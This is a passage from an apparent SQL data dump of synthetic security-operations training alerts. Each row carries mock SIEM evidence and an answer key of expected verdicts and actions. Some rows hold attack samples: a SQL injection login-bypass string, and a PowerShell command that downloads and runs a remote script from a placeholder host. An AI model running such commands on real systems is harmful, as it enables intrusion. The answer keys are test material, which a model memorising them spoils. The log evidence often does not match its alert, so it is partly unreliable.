account\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.2.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the administrative server\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP\'s history of unauthorized access confirms the attack vector.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.986Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:12:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.5\\\",\\\"dst_ip\\\":\\\"10.2.2.20\\\",\\\"username\\\":\\\"administrator\\\",\\\"hostname\\\":\\\"adserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1690, 'Failed SSH Login from Known Safe Network', 'low', 'Wazuh', 'A failed SSH login attempt was detected from a known safe network. No further activity was observed.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:23:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.0.2.0\",\"dst_ip\":\"10.0.0.10\",\"username\":\"user1\",\"hostname\":\"sshserver01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.0\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"IP belongs to a trusted network and shows no signs of malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The source IP is from a known safe network, indicating a benign activity.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.988Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:23:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.0.2.0\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"user1\\\",\\\"hostname\\\":\\\"sshserver01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1691, 'SQL Injection Attempt on Public-Facing Web Application', 'critical', 'Splunk', 'An SQL injection attempt was detected on the public-facing web application. The payload suggests an attempt to bypass authentication.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:11:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.50\",\"hostname\":\"webapp01\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 512 times for SQL injection attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the web application\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection payload attempting authentication bypass\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a known SQL injection technique, confirming malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.990Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:11:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.50\\\",\\\"hostname\\\":\\\"webapp01\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1692, 'Unusual Activity Detected: Possible Internal Reconnaissance', 'medium', 'Elastic SIEM', 'A series of failed login attempts from an internal IP indicates potential reconnaissance or credential stuffing.', 'Lateral Movement', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:52:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.5.5.5\",\"dst_ip\":\"10.5.5.10\",\"username\":\"user2\",\"hostname\":\"host01\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.5.5.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of suspected reconnaissance source\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.5.5.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"user2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The pattern of activity suggests credential stuffing or reconnaissance.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.993Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:52:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.5.5.5\\\",\\\"dst_ip\\\":\\\"10.5.5.10\\\",\\\"username\\\":\\\"user2\\\",\\\"hostname\\\":\\\"host01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1693, 'Phishing Attempt via Malicious Email Link', 'high', 'Proofpoint', 'An email containing a suspicious link was detected, potentially delivering phishing content.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:05:20Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.55\",\"dst_ip\":\"10.3.3.3\",\"username\":\"jane.smith\",\"hostname\":\"mailserver01\",\"request_body\":null,\"command_line\":null,\"email_sender\":\"phisher@example.com\",\"url\":\"http://malicious-link.com\"}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"phisher@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation\",\"verdict\":\"suspicious\",\"details\":\"Email domain used in previous phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"198.51.100.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in sending phishing emails\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The malicious link\'s OSINT confirms phishing intent.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt via Malicious Email Link\",\"date\":\"2026-03-15T20:58:15.995Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1694, 'Failed SSH Login from Internal Network', 'low', 'Azure Sentinel', 'A failed SSH login attempt was logged from within the internal network, potentially indicating a user error.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:15:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.1.15\",\"dst_ip\":\"10.0.1.20\",\"username\":\"john.doe\",\"hostname\":\"sshserver02\",\"request_body\":null,\"command_line\":null}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity originated from an internal IP with no signs of malicious intent.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:57:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:56:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:55:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-03-15T20:54:15.996Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:15:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.1.15\\\",\\\"dst_ip\\\":\\\"10.0.1.20\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1695, 'Malware Command Execution Detected', 'critical', 'Wazuh', 'A potentially malicious command was executed on a host, indicating possible malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.77\",\"dst_ip\":\"10.0.0.100\",\"username\":\"malicious_user\",\"hostname\":\"infected_host\",\"request_body\":null,\"command_line\":\"powershell.exe -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\"\"}', '2026-03-15 19:41:31', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download and execute a remote script, typical of malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.com/script.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command execution is a known technique for downloading and executing malware.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/script.ps1\')\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.998Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.77\\\",\\\"dst_ip\\\":\\\"10.0.0.100\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected_host\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"powershell.exe -nop -c \\\\\\\"IEX(New-Object 